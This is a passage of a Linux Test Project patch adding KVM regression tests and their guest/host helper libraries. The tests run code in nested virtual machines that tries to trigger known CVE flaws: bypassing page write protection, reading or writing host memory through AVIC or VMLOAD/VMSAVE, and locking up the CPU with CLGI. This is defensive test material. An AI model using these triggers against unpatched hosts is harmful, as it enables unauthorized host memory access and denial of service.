unsigned int id, + unsigned int state); +void kvm_init_guest_vmcb(struct kvm_vmcb *vmcb, uint32_t asid, uint16_t ss, + void *rsp, int (*guest_main)(void)); +struct kvm_svm_vcpu *kvm_create_svm_vcpu(int (*guest_main)(void), + int alloc_stack); + +void kvm_svm_vmrun(struct kvm_svm_vcpu *cpu); + +#endif /* KVM_X86_SVM_H_ */ diff --git a/testcases/kernel/kvm/kvm_pagefault01.c b/testcases/kernel/kvm/kvm_pagefault01.c new file mode 100644 index 00000000..91891848 --- /dev/null +++ b/testcases/kernel/kvm/kvm_pagefault01.c @@ -0,0 +1,235 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2020 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +/*\ + * CVE 2021-38198 + * + * Check that x86_64 KVM correctly enforces (lack of) write permissions + * in 4-level and 5-level memory page table mode. Missing page faults fixed in: + * + * commit b1bd5cba3306691c771d558e94baa73e8b0b96b7 + * Author: Lai Jiangshan + * Date: Thu Jun 3 13:24:55 2021 +0800 + * + * KVM: X86: MMU: Use the correct inherited permissions to get shadow page + */ + +#include "kvm_test.h" + +#ifdef COMPILE_PAYLOAD +#ifdef __x86_64__ + +#include "kvm_x86.h" + +#define PTE_BITMASK 0x1ff +#define PAGESIZE 0x1000 + +int handle_page_fault(void *userdata, struct kvm_interrupt_frame *ifrm, + unsigned long errcode) +{ + struct kvm_cregs buf; + + kvm_read_cregs(&buf); + + /* Check that the page fault was caused by write to *readonly below */ + if (buf.cr2 == (uintptr_t)userdata) { + tst_res(TPASS, "KVM enforces memory write permissions"); + kvm_exit(); + } + + /* Unexpected page fault, fall back to default handler */ + return 0; +} + +void main(void) +{ + uintptr_t tmp; + struct page_table_entry_pae *subpte, *pte = kvm_pagetable; + int val, *writable, *readonly, *cacher1, *cacher2; + + if (!(kvm_rdmsr(MSR_EFER) & EFER_LMA)) + tst_brk(TBROK, "Bootstrap did not enable 64bit paging"); + + /* + * Find the first page table entry which branches. This entry was + * configured by bootstrap as follows: + * 0x00000000 - 0x3fffffff in pte[0] (identity mapped) + * 0x40000000 - 0x7fffffff in pte[1] (identity mapped) + * 0x80000000 - 0xbfffffff in pte[2] (unmapped) + * 0xc0000000 - 0xffffffff in pte[3] (only last page identity mapped) + */ + while (!pte[1].present) { + tmp = kvm_get_page_address_pae(pte); + pte = (struct page_table_entry_pae *)tmp; + } + + /* + * Setup mapping above the 32bit address space. The test needs two + * different unused 1GB chunks of address space. Remapping part of + * the lower 4GB address space would make it harder to reproduce + * the bug because any memory access in the same 1GB chunk (even + * fetching instructions by the CPU) could evict entries from page + * table cache and force the bypassable write permission check + * to happen even on buggy kernels. + * + * Allocate 3 pages for page table + 2 pages for data + */ + writable = tst_heap_alloc_aligned(5 * PAGESIZE, PAGESIZE); + memset(writable, 0, 5 * PAGESIZE); + tmp = (uintptr_t)writable; + pte[4].address = tmp >> 12; + pte[4].user_access = 1; + pte[4].writable = 1; + pte[4].present = 1; + pte[5] = pte[4]; + pte[5].writable = 0; + + subpte = (struct page_table_entry_pae *)tmp; + subpte[0].address = (tmp + PAGESIZE) >> 12; + subpte[0].user_access = 1; + subpte[0].writable = 0; + subpte[0].present = 1; + subpte[1].address = (tmp + 2 * PAGESIZE) >> 12; + subpte[1].user_access = 1; + subpte[1].writable = 1; + subpte[1].present = 1; + + subpte = (struct page_table_entry_pae *)(tmp + PAGESIZE); + subpte[0].address = (tmp + 3 * PAGESIZE) >> 12; + subpte[0].user_access = 1; + subpte[0].writable = 1; + subpte[0].present = 1; + + subpte = (struct page_table_entry_pae *)(tmp + 2 * PAGESIZE); + subpte[0].address = (tmp + 4 * PAGESIZE) >> 12; + subpte[0].user_access = 1; + subpte[0].writable = 1; + subpte[0].present = 1; + + /* Create pointers into the new mapping */ + cacher1 = (int *)0x100000000ULL; + writable = (int *)0x100200000ULL; + cacher2 = (int *)0x140000000ULL; + readonly = (int *)0x140200000ULL; + tst_set_interrupt_callback(INTR_PAGE_FAULT, handle_page_fault, + readonly); + + /* Fill page table cache */ + val = *cacher1; + *writable = val; + val = *cacher2; + + /* Trigger page fault (unless the kernel is vulnerable) */ + *readonly = val; + + /* This line should be unreachable */ + tst_res(TFAIL, "Write to read-only address did not page fault"); +} + +#else /* __x86_64__ */ +TST_TEST_TCONF("Test supported only on x86_64"); +#endif /* __x86_64__ */ + +#else /* COMPILE_PAYLOAD */ + +#include +#include +#include +#include "tst_module.h" + +#define TDP_MMU_SYSFILE "/sys/module/kvm/parameters/tdp_mmu" +#define TDP_AMD_SYSFILE "/sys/module/kvm_amd/parameters/npt" +#define TDP_INTEL_SYSFILE "/sys/module/kvm_intel/parameters/ept" + +#define BUF_SIZE 64 + +static int read_bool_sys_param(const char *filename) +{ + char buf[BUF_SIZE]; + int i, fd, ret; + + fd = open(filename, O_RDONLY); + + if (fd < 0) + return -1; + + ret = read(fd, buf, BUF_SIZE - 1); + SAFE_CLOSE(fd); + + if (ret < 1) + return -1; + + buf[ret] = '\0'; + + for (i = 0; buf[i] && !isspace(buf[i]); i++) + ; + + buf[i] = '\0'; + + if (isdigit(buf[0])) { + tst_parse_int(buf, &ret, INT_MIN, INT_MAX); + return ret; + } + + if (!strcasecmp(buf, "N")) + return 0; + + /* Assume that any other value than 0 or N means the param is enabled */ + return 1; +} + +static void reload_module(const char *module, char *arg) +{ + const char *const argv[] = {"modprobe", module, arg, NULL}; + + tst_res(TINFO, "Reloading module %s with parameter %s", module, arg); + tst_module_unload(module); + tst_cmd(argv, NULL, NULL, 0); +} + +static void disable_tdp(void) +{ + if (!access(TDP_MMU_SYSFILE, F_OK)) { + /* FIXME: Is setting tdp_mmu=0 sufficient to disable TDP? */ + return; + } + + if (read_bool_sys_param(TDP_AMD_SYSFILE) > 0) + reload_module("kvm_amd", "npt=0"); + + if (read_bool_sys_param(TDP_INTEL_SYSFILE) > 0) + reload_module("kvm_intel", "ept=0"); +} + +static void setup(void) +{ + disable_tdp(); + tst_kvm_setup(); +} + +static struct tst_test test = { + .test_all = tst_kvm_run, + .setup = setup, + .cleanup = tst_kvm_cleanup, + .needs_root = 1, + .save_restore = (const struct tst_path_val[]) { + {"/sys/module/kvm/parameters/tdp_mmu", "0", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, + .supported_archs = (const char *const []) { + "x86_64", + NULL + }, + .tags = (struct tst_tag[]){ + {"linux-git", "b1bd5cba3306"}, + {"CVE", "2021-38198"}, + {} + } +}; + +#endif /* COMPILE_PAYLOAD */ diff --git a/testcases/kernel/kvm/kvm_svm01.c b/testcases/kernel/kvm/kvm_svm01.c new file mode 100644 index 00000000..32d15526 --- /dev/null +++ b/testcases/kernel/kvm/kvm_svm01.c @@ -0,0 +1,123 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +/*\ + * CVE 2021-3653 + * + * Check that KVM either blocks enabling virtual interrupt controller (AVIC) + * in nested VMs or correctly sets up the required memory address translation. + * If AVIC is enabled without address translation in the host kernel, + * the nested VM will be able to read and write an arbitraty physical memory + * page specified by the parent VM. Unauthorized memory access fixed in: + * + * commit 0f923e07124df069ba68d8bb12324398f4b6b709 + * Author: Maxim Levitsky + * Date: Thu Jul 15 01:56:24 2021 +0300 + * + * KVM: nSVM: avoid picking up unsupported bits from L2 in int_ctl (CVE-2021-3653) + */ + +#include "kvm_test.h" + +#ifdef COMPILE_PAYLOAD +#if defined(__i386__) || defined(__x86_64__) + +#include "kvm_x86_svm.h" + +#define AVIC_REG_ADDR 0x280 +#define AVIC_TEST_VAL 0xec +#define AVIC_READ_FAIL 0x12ead + +#define AVIC_INFO_MASK ((1ULL << 32) | 0xff0) +#define AVIC_INFO_EXP ((1ULL << 32) | AVIC_REG_ADDR) + +static uint32_t * const avic_ptr = (uint32_t *)AVIC_REG_ADDR; + +static int guest_main(void) +{ + if (*avic_ptr != 0xaaaaaaaa) + return AVIC_READ_FAIL; + + *avic_ptr = AVIC_TEST_VAL; + return 0; +} + +void main(void) +{ + struct kvm_svm_vcpu *vcpu; + + kvm_init_svm(); + vcpu = kvm_create_svm_vcpu(guest_main, 1); + + /* + * Enable AVIC and set both the AVIC base address (where the nested VM + * will write) and backing page address (where the parent VM expects + * to see the changes) to 0 + */ + vcpu->vmcb->virt_intr_ctl |= SVM_INTR_AVIC; + vcpu->vmcb->avic_backing_page = 0; + vcpu->vmcb->avic_bar = 0; + memset((void *)8, 0xaa, PAGESIZE - 8); + + /* Write into AVIC backing page in the nested VM */ + kvm_svm_vmrun(vcpu); + + switch (vcpu->vmcb->exitcode) { + case SVM_EXIT_HLT: + if (vcpu->vmcb->rax == AVIC_READ_FAIL) { + tst_res(TFAIL, "Nested VM can read host memory"); + return; + } + + if (vcpu->vmcb->rax) + tst_brk(TBROK, "Unexpected guest_main() return value"); + + break; + + case SVM_EXIT_AVIC_NOACCEL: + if ((vcpu->vmcb->exitinfo1 & AVIC_INFO_MASK) == AVIC_INFO_EXP) { + tst_res(TPASS, "AVIC register write caused VMEXIT"); + break; + } + + /* unexpected exit, fall through */ + + default: + tst_brk(TBROK, "Nested VM exited unexpectedly"); + } + + if (*avic_ptr != AVIC_TEST_VAL) { + tst_res(TFAIL, "Write into AVIC ESR redirected to host memory"); + return; + } + + tst_res(TPASS, "Writes into AVIC backing page were not redirected"); +} + +#else /* defined(__i386__) || defined(__x86_64__) */ +TST_TEST_TCONF("Test supported only on x86"); +#endif /* defined(__i386__) || defined(__x86_64__) */ + +#else /* COMPILE_PAYLOAD */ + +static struct tst_test test = { + .test_all = tst_kvm_run, + .setup = tst_kvm_setup, + .cleanup = tst_kvm_cleanup, + .supported_archs = (const char *const []) { + "x86_64", + "x86", + NULL + }, + .tags = (struct tst_tag[]){ + {"linux-git", "0f923e07124d"}, + {"CVE", "2021-3653"}, + {} + } +}; + +#endif /* COMPILE_PAYLOAD */ diff --git a/testcases/kernel/kvm/kvm_svm02.c b/testcases/kernel/kvm/kvm_svm02.c new file mode 100644 index 00000000..5d2e2ce3 --- /dev/null +++ b/testcases/kernel/kvm/kvm_svm02.c @@ -0,0 +1,152 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +/*\ + * CVE 2021-3656 + * + * Check that KVM correctly intercepts VMSAVE and VMLOAD instructions + * in a nested virtual machine even when the parent guest disables + * intercepting either instruction. If KVM does not override the disabled + * intercepts, it'll give the nested VM read/write access to a few bytes + * of an arbitrary physical memory page. Unauthorized memory access fixed in: + * + * commit c7dfa4009965a9b2d7b329ee970eb8da0d32f0bc + * Author: Maxim Levitsky + * Date: Mon Jul 19 16:05:00 2021 +0300 + * + * KVM: nSVM: always intercept VMLOAD/VMSAVE when nested (CVE-2021-3656) + */ + +#include "kvm_test.h" + +#ifdef COMPILE_PAYLOAD +#if defined(__i386__) || defined(__x86_64__) + +#include "kvm_x86_svm.h" + +static void *vmsave_buf; + +/* Load FS, GS, TR and LDTR state from vmsave_buf */ +static int guest_vmload(void) +{ + asm ( + "vmload %0\n" + : + : "a" (vmsave_buf) + ); + return 0; +} + +/* Save current FS, GS, TR and LDTR state to vmsave_buf */ +static int guest_vmsave(void) +{ + asm ( + "vmsave %0\n" + : + : "a" (vmsave_buf) + ); + return 0; +} + +static int cmp_descriptor(const struct kvm_vmcb_descriptor *a, + const struct kvm_vmcb_descriptor *b) +{ + int ret; + + ret = a->selector != b->selector; + ret = ret || a->attrib != b->attrib; + ret = ret || a->limit != b->limit; + ret = ret || a->base != b->base; + return ret; +} + +/* Return non-zero if the VMCB fields touched by vmsave/vmload differ */ +static int cmp_vmcb(const struct kvm_vmcb *a, const struct kvm_vmcb *b) +{ + int ret; + + ret = cmp_descriptor(&a->fs, &b->fs); + ret = ret || cmp_descriptor(&a->gs, &b->gs); + ret = ret || cmp_descriptor(&a->tr, &b->tr); + ret = ret || cmp_descriptor(&a->ldtr, &b->ldtr); + ret = ret || a->kernel_gs_base != b->kernel_gs_base; + ret = ret || a->star != b->star; + ret = ret || a->lstar != b->lstar; + ret = ret || a->cstar != b->cstar; + ret = ret || a->sfmask != b->sfmask; + ret = ret || a->sysenter_cs != b->sysenter_cs; + ret = ret || a->sysenter_esp != b->sysenter_esp; + ret = ret || a->sysenter_eip != b->sysenter_eip; + return ret; +} + +void main(void) +{ + uint16_t ss; + uint64_t rsp; + struct kvm_svm_vcpu *vcpu; + + kvm_init_svm(); + vcpu = kvm_create_svm_vcpu(guest_vmload, 1); + kvm_vmcb_set_intercept(vcpu->vmcb, SVM_INTERCEPT_VMLOAD, 0); + vmsave_buf = kvm_alloc_vmcb(); + + /* Save allocated stack for later VM reinit */ + ss = vcpu->vmcb->ss.selector; + rsp = vcpu->vmcb->rsp; + + /* Load partial state from vmsave_buf and save it to vcpu->vmcb */ + kvm_svm_vmrun(vcpu); + + if (vcpu->vmcb->exitcode != SVM_EXIT_HLT) + tst_brk(TBROK, "Nested VM exited unexpectedly"); + + if (cmp_vmcb(vcpu->vmcb, vmsave_buf)) { + tst_res(TFAIL, "Nested VM can read host memory"); + return; + } + + /* Load state from vcpu->vmcb and save it to vmsave_buf */ + memset(vmsave_buf, 0xaa, sizeof(struct kvm_vmcb)); + kvm_init_guest_vmcb(vcpu->vmcb, 1, ss, (void *)rsp, guest_vmsave); + kvm_vmcb_set_intercept(vcpu->vmcb, SVM_INTERCEPT_VMSAVE, 0); + kvm_svm_vmrun(vcpu); + + if (vcpu->vmcb->exitcode != SVM_EXIT_HLT) + tst_brk(TBROK, "Nested VM exited unexpectedly"); + + if (cmp_vmcb(vcpu->vmcb, vmsave_buf)) { + tst_res(TFAIL, "Nested VM can overwrite host memory"); + return; + } + + tst_res(TPASS, "VMLOAD and VMSAVE were intercepted by kernel"); +} + +#else /* defined(__i386__) || defined(__x86_64__) */ +TST_TEST_TCONF("Test supported only on x86"); +#endif /* defined(__i386__) || defined(__x86_64__) */ + +#else /* COMPILE_PAYLOAD */ + +static struct tst_test test = { + .test_all = tst_kvm_run, + .setup = tst_kvm_setup, + .cleanup = tst_kvm_cleanup, + .supported_archs = (const char *const []) { + "x86_64", + "x86", + NULL + }, + .tags = (struct tst_tag[]){ + {"linux-git", "c7dfa4009965"}, + {"CVE", "2021-3656"}, + {} + } +}; + +#endif /* COMPILE_PAYLOAD */ diff --git a/testcases/kernel/kvm/kvm_svm03.c b/testcases/kernel/kvm/kvm_svm03.c new file mode 100644 index 00000000..87164d01 --- /dev/null +++ b/testcases/kernel/kvm/kvm_svm03.c @@ -0,0 +1,169 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC + * Author: Nicolai Stange + * LTP port: Martin Doucha + */ + +/*\ + * Check that KVM correctly intercepts the CLGI instruction in a nested + * virtual machine even when the parent guest disables intercept. + * If KVM does not override the disabled intercept, it'll allow the nested VM + * to hold the physical CPU indefinitely and potentially perform a denial + * of service attack against the host kernel. CPU lockup fixed in: + * + * commit 91b7130cb6606d8c6b3b77e54426b3f3a83f48b1 + * Author: Paolo Bonzini + * Date: Fri May 22 12:28:52 2020 -0400 + * + * KVM: SVM: preserve VGIF across VMCB switch + */ + +#include "kvm_test.h" + +#ifdef COMPILE_PAYLOAD +#if defined(__i386__) || defined(__x86_64__) + +#include "kvm_x86_svm.h" + +/* Disable global interrupts */ +static int guest_clgi(void) +{ + int ret, *result = (int *)KVM_RESULT_BASEADDR; + + /* + * Make sure that result page is present in memory. CLGI may disable + * page fault handling on the current CPU. The actual value + * at that address is irrelevant. + */ + ret = *result; + + /* Disable global interrupts */ + asm ("clgi"); + + /* Signal host to kill the VM and wait */ + tst_wait_host(NULL); + return ret; +} + +void main(void) +{ + struct kvm_svm_vcpu *vcpu; + + kvm_init_svm(); + vcpu = kvm_create_svm_vcpu(guest_clgi, 1); + kvm_vmcb_set_intercept(vcpu->vmcb, SVM_INTERCEPT_CLGI, 0); + kvm_svm_vmrun(vcpu); + + if (vcpu->vmcb->exitcode != SVM_EXIT_HLT) + tst_brk(TBROK, "Nested VM exited unexpectedly"); +} + +#else /* defined(__i386__) || defined(__x86_64__) */ +TST_TEST_TCONF("Test supported only on x86"); +#endif /* defined(__i386__) || defined(__x86_64__) */ + +#else /* COMPILE_PAYLOAD */ + +#include +#include "tst_safe_pthread.h" +#include "tst_safe_clocks.h" + +static struct tst_kvm_instance test_vm = { .vm_fd = -1 }; +static pthread_mutex_t mutex; +static int mutex_init; + +static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) +{ + +} + +static void *vm_thread(void *arg) +{ + SAFE_PTHREAD_MUTEX_LOCK(&mutex); + tst_kvm_run_instance(&test_vm, EINTR); + SAFE_PTHREAD_MUTEX_UNLOCK(&mutex); + return arg; +} + +static void setup(void) +{ + struct sigaction sa = { .sa_handler = sighandler }; + pthread_mutexattr_t attr; + + SAFE_PTHREAD_MUTEXATTR_INIT(&attr); + SAFE_PTHREAD_MUTEXATTR_SETTYPE(&attr, PTHREAD_MUTEX_NORMAL); + SAFE_PTHREAD_MUTEX_INIT(&mutex, &attr); + mutex_init = 1; + SAFE_PTHREAD_MUTEXATTR_DESTROY(&attr); + SAFE_SIGACTION(SIGUSR1, &sa, NULL); +} + +static void run(void) +{ + struct timespec timeout; + pthread_t tid; + int ret; + + tst_kvm_create_instance(&test_vm, DEFAULT_RAM_SIZE); + + SAFE_PTHREAD_CREATE(&tid, NULL, vm_thread, NULL); + ret = tst_kvm_wait_guest(&test_vm, 2000); + + if (ret == KVM_TEXIT) { + SAFE_PTHREAD_JOIN(tid, NULL); + tst_brk(TCONF, "Guest exited early"); + } + + if (ret) + tst_brk(TBROK, "Wait for guest initialization timed out"); + + SAFE_PTHREAD_KILL(tid, SIGUSR1); + SAFE_CLOCK_GETTIME(CLOCK_REALTIME, &timeout); + timeout.tv_sec += 2; + + if (SAFE_PTHREAD_MUTEX_TIMEDLOCK(&mutex, &timeout)) { + tst_kvm_clear_guest_signal(&test_vm); + tst_res(TFAIL, "VM thread does not respond to signals"); + } else { + SAFE_PTHREAD_MUTEX_UNLOCK(&mutex); + tst_res(TPASS, "VM thread was interrupted by signal"); + } + + SAFE_PTHREAD_JOIN(tid, NULL); + tst_kvm_destroy_instance(&test_vm); + tst_free_all(); +} + +static void cleanup(void) +{ + /* + * If the mutex is locked, the VM is likely still running, cannot + * clean up anything + */ + if (!mutex_init || SAFE_PTHREAD_MUTEX_TRYLOCK(&mutex)) + return; + + if (!SAFE_PTHREAD_MUTEX_UNLOCK(&mutex)) + SAFE_PTHREAD_MUTEX_DESTROY(&mutex); + + tst_kvm_destroy_instance(&test_vm); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .min_cpus = 2, + .supported_archs = (const char *const []) { + "x86_64", + "x86", + NULL + }, + .tags = (struct tst_tag[]){ + {"linux-git", "91b7130cb660"}, + {} + } +}; + +#endif /* COMPILE_PAYLOAD */ diff --git a/testcases/kernel/kvm/lib_guest.c b/testcases/kernel/kvm/lib_guest.c new file mode 100644 index 00000000..f3e21d3d --- /dev/null +++ b/testcases/kernel/kvm/lib_guest.c @@ -0,0 +1,195 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC + * + * Minimal testing library for KVM tests + */ + +#include "kvm_test.h" + +extern char kvm_heap_begin[]; + +static struct tst_kvm_result *const test_result = + (struct tst_kvm_result *)KVM_RESULT_BASEADDR; + +static char *heap_end = kvm_heap_begin; + +static struct tst_intr_handler { + tst_interrupt_callback callback; + void *userdata; +} intr_handlers[INTERRUPT_COUNT]; + +void *memset(void *dest, int val, size_t size) +{ + char *ptr = dest; + + while (size--) + *ptr++ = val; + + return dest; +} + +void *memzero(void *dest, size_t size) +{ + return memset(dest, 0, size); +} + +void *memcpy(void *dest, const void *src, size_t size) +{ + char *dptr = dest; + const char *sptr = src; + + while (size--) + *dptr++ = *sptr++; + + return dest; +} + +char *strcpy(char *dest, const char *src) +{ + char *ret = dest; + + while ((*dest++ = *src++)) + ; + + return ret; +} + +char *strcat(char *dest, const char *src) +{ + char *ret = dest; + + for (; *dest; dest++) + ; + + strcpy(dest, src); + return ret; +} + +size_t strlen(const char *str) +{ + size_t ret; + + for (ret = 0; str[ret]; ret++) + ; + + return ret; +} + +char *ptr2hex(char *dest, uintptr_t val) +{ + unsigned int i; + uintptr_t tmp; + char *ret = dest; + + for (i = 4, tmp = val >> 4; tmp; i += 4, tmp >>= 4) + ; + + do { + i -= 4; + tmp = (val >> i) & 0xf; + *dest++ = tmp + (tmp >= 10 ? 'A' - 10 : '0'); + } while (i); + + *dest = '\0'; + return ret; +} + +void *tst_heap_alloc_aligned(size_t size, size_t align) +{ + uintptr_t addr = (uintptr_t)heap_end; + void *ret; + + addr += align - 1; + addr -= addr % align; + ret = (void *)addr; + heap_end = (char *)LTP_ALIGN(addr + size, 4); + return ret; +} + +void *tst_heap_alloc(size_t size) +{ + void *ret = heap_end; + + heap_end += LTP_ALIGN(size, 4); + return ret; +} + +void tst_set_interrupt_callback(unsigned int vector, + tst_interrupt_callback func, void *userdata) +{ + if (vector >= INTERRUPT_COUNT) + tst_brk(TBROK, "Set interrupt callback: vector out of range"); + + intr_handlers[vector].callback = func; + intr_handlers[vector].userdata = userdata; +} + +static void tst_fatal_error(const char *file, const int lineno, + const char *message, uintptr_t ip) +{ + test_result->result = TBROK; + test_result->lineno = lineno; + test_result->file_addr = (uintptr_t)file; + strcpy(test_result->message, message); + strcat(test_result->message, " at address 0x"); + ptr2hex(test_result->message + strlen(test_result->message), ip); + kvm_yield(); + kvm_exit(); +} + +void tst_res_(const char *file, const int lineno, int result, + const char *message) +{ + test_result->result = result; + test_result->lineno = lineno; + test_result->file_addr = (uintptr_t)file; + strcpy(test_result->message, message); + kvm_yield(); +} + +void tst_brk_(const char *file, const int lineno, int result, + const char *message) +{ + tst_res_(file, lineno, result, message); + kvm_exit(); +} + +void tst_signal_host(void *data) +{ + test_result->file_addr = (uintptr_t)data; + test_result->result = KVM_TSYNC; +} + +void tst_wait_host(void *data) +{ + volatile int32_t *vres = &test_result->result; + + tst_signal_host(data); + + while (*vres != KVM_TNONE) + ; +} + +void tst_handle_interrupt(struct kvm_interrupt_frame *ifrm, long vector, + unsigned long errcode) +{ + uintptr_t ip = kvm_get_interrupt_ip(ifrm); + const char *iname; + tst_interrupt_callback callback; + int ret = 0; + + if (vector < 0 || vector >= INTERRUPT_COUNT) + tst_fatal_error(__FILE__, __LINE__, "Unexpected interrupt", ip); + + callback = intr_handlers[vector].callback; + + if (callback) + ret = callback(intr_handlers[vector].userdata, ifrm, errcode); + + iname = tst_interrupt_names[vector]; + iname = iname ? iname : "Unexpected interrupt"; + + if (!ret) + tst_fatal_error(__FILE__, __LINE__, iname, ip); +} diff --git a/testcases/kernel/kvm/lib_host.c b/testcases/kernel/kvm/lib_host.c new file mode 100644 index 00000000..8e3d6094 --- /dev/null +++ b/testcases/kernel/kvm/lib_host.c @@ -0,0 +1,340 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC + * + * KVM host library for setting up and running virtual machine tests. + */ + +#include +#include + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "tst_clocks.h" +#include "tst_timer.h" +#include "kvm_host.h" + +static struct tst_kvm_instance test_vm = { .vm_fd = -1 }; + +const unsigned char tst_kvm_reset_code[VM_RESET_CODE_SIZE] = { + 0xea, 0x00, 0x10, 0x00, 0x00 /* JMP 0x1000 */ +}; + +void tst_kvm_validate_result(int value) +{ + int ttype, valid_result[] = {TPASS, TFAIL, TBROK, TWARN, TINFO, TCONF}; + size_t i; + + if (value == KVM_TNONE) + tst_brk(TBROK, "KVM test did not return any result"); + + ttype = TTYPE_RESULT(value); + + for (i = 0; i < ARRAY_SIZE(valid_result); i++) { + if (ttype == valid_result[i]) + return; + } + + tst_brk(TBROK, "KVM test returned invalid result value %d", value); +} + +uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst, + uint64_t addr) +{ + struct kvm_translation trans = { .linear_address = addr }; + + TEST(ioctl(inst->vcpu_fd, KVM_TRANSLATE, &trans)); + + /* ioctl(KVM_TRANSLATE) is not implemented for this arch */ + if (TST_RET == -1 && TST_ERR == EINVAL) + return addr; + + if (TST_RET == -1) + tst_brk(TBROK | TTERRNO, "ioctl(KVM_TRANSLATE) failed"); + + if (TST_RET) { + tst_brk(TBROK | TTERRNO, + "Invalid ioctl(KVM_TRANSLATE) return value"); + } + + return trans.valid ? trans.physical_address : 0; +} + +int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst, + uint64_t paddr) +{ + int i; + uint64_t base; + + for (i = 0; i < MAX_KVM_MEMSLOTS; i++) { + if (!inst->ram[i].userspace_addr) + continue; + + base = inst->ram[i].guest_phys_addr; + + if (paddr >= base && paddr - base < inst->ram[i].memory_size) + return i; + } + + return -1; +} + +int tst_kvm_find_memslot(const struct tst_kvm_instance *inst, uint64_t addr) +{ + addr = tst_kvm_get_phys_address(inst, addr); + + if (!addr) + return -1; + + return tst_kvm_find_phys_memslot(inst, addr); +} + +void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst, uint64_t addr) +{ + int slot; + char *ret; + + addr = tst_kvm_get_phys_address(inst, addr); + + if (!addr) + return NULL; + + slot = tst_kvm_find_phys_memslot(inst, addr); + + if (slot < 0) + return NULL; + + ret = (char *)(uintptr_t)inst->ram[slot].userspace_addr; + return ret + (addr - inst->ram[slot].guest_phys_addr); +} + +void tst_kvm_print_result(const struct tst_kvm_instance *inst) +{ + int ttype; + const struct tst_kvm_result *result = inst->result; + const char *file; + + tst_kvm_validate_result(result->result); + ttype = TTYPE_RESULT(result->result); + file = tst_kvm_get_memptr(inst, result->file_addr); + + if (ttype == TBROK) + tst_brk_(file, result->lineno, ttype, "%s", result->message); + else + tst_res_(file, result->lineno, ttype, "%s", result->message); +} + +void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot, + uint64_t baseaddr, size_t size, unsigned int flags) +{ + size_t pagesize, offset; + char *ret; + struct kvm_userspace_memory_region memslot = { + .slot = slot, + .flags = flags + }; + + if (slot >= MAX_KVM_MEMSLOTS) + tst_brk(TBROK, "Invalid KVM memory slot %u", slot); + + pagesize = SAFE_SYSCONF(_SC_PAGESIZE); + offset = baseaddr % pagesize; + size = LTP_ALIGN(size + offset, pagesize); + ret = tst_alloc(size); + + memslot.guest_phys_addr = baseaddr - offset; + memslot.memory_size = size; + memslot.userspace_addr = (uintptr_t)ret; + SAFE_IOCTL(inst->vm_fd, KVM_SET_USER_MEMORY_REGION, &memslot); + inst->ram[slot] = memslot; + return ret; +} + +struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd) +{ + unsigned int count; + int result; + struct kvm_cpuid2 *ret; + + if (!SAFE_IOCTL(sysfd, KVM_CHECK_EXTENSION, KVM_CAP_EXT_CPUID)) + return NULL; + + for (count = 8; count < 1 << 30; count *= 2) { + ret = SAFE_MALLOC(sizeof(struct kvm_cpuid2) + + count * sizeof(struct kvm_cpuid_entry2)); + ret->nent = count; + errno = 0; + result = ioctl(sysfd, KVM_GET_SUPPORTED_CPUID, ret); + + if (!result) + return ret; + + free(ret); + + if (errno != E2BIG) + break; + } + + tst_brk(TBROK | TERRNO, "ioctl(KVM_GET_SUPPORTED_CPUID) failed"); + return NULL; +} + +void tst_kvm_create_instance(struct tst_kvm_instance *inst, size_t ram_size) +{ + int sys_fd; + size_t pagesize, result_pageaddr = KVM_RESULT_BASEADDR; + char *buf, *reset_ptr; + struct kvm_cpuid2 *cpuid_data; + const size_t payload_size = kvm_payload_end - kvm_payload_start; + + memset(inst, 0, sizeof(struct tst_kvm_instance)); + inst->vm_fd = -1; + inst->vcpu_fd = -1; + inst->vcpu_info = MAP_FAILED; + + pagesize = SAFE_SYSCONF(_SC_PAGESIZE); + result_pageaddr -= result_pageaddr % pagesize; + + if (payload_size + MIN_FREE_RAM > ram_size - VM_KERNEL_BASEADDR) { + ram_size = payload_size + MIN_FREE_RAM + VM_KERNEL_BASEADDR; + ram_size = LTP_ALIGN(ram_size, 1024 * 1024); + tst_res(TWARN, "RAM size increased to %zu bytes", ram_size); + } + + if (ram_size > result_pageaddr) { + ram_size = result_pageaddr; + tst_res(TWARN, "RAM size truncated to %zu bytes", ram_size); + } + + sys_fd = SAFE_OPEN("/dev/kvm", O_RDWR); + inst->vcpu_info_size = SAFE_IOCTL(sys_fd, KVM_GET_VCPU_MMAP_SIZE, 0); + inst->vm_fd = SAFE_IOCTL(sys_fd, KVM_CREATE_VM, 0); + cpuid_data = tst_kvm_get_cpuid(sys_fd); + SAFE_CLOSE(sys_fd); + + inst->vcpu_fd = SAFE_IOCTL(inst->vm_fd, KVM_CREATE_VCPU, 0); + + if (cpuid_data) { + SAFE_IOCTL(inst->vcpu_fd, KVM_SET_CPUID2, cpuid_data); + free(cpuid_data); + } + + inst->vcpu_info = SAFE_MMAP(NULL, inst->vcpu_info_size, + PROT_READ | PROT_WRITE, MAP_SHARED, inst->vcpu_fd, 0); + + buf = tst_kvm_alloc_memory(inst, 0, 0, ram_size, 0); + memcpy(buf + VM_KERNEL_BASEADDR, kvm_payload_start, payload_size); + buf = tst_kvm_alloc_memory(inst, 1, KVM_RESULT_BASEADDR, + KVM_RESULT_SIZE, 0); + memset(buf, 0, KVM_RESULT_SIZE); + + reset_ptr = buf + (VM_RESET_BASEADDR % pagesize); + memcpy(reset_ptr, tst_kvm_reset_code, 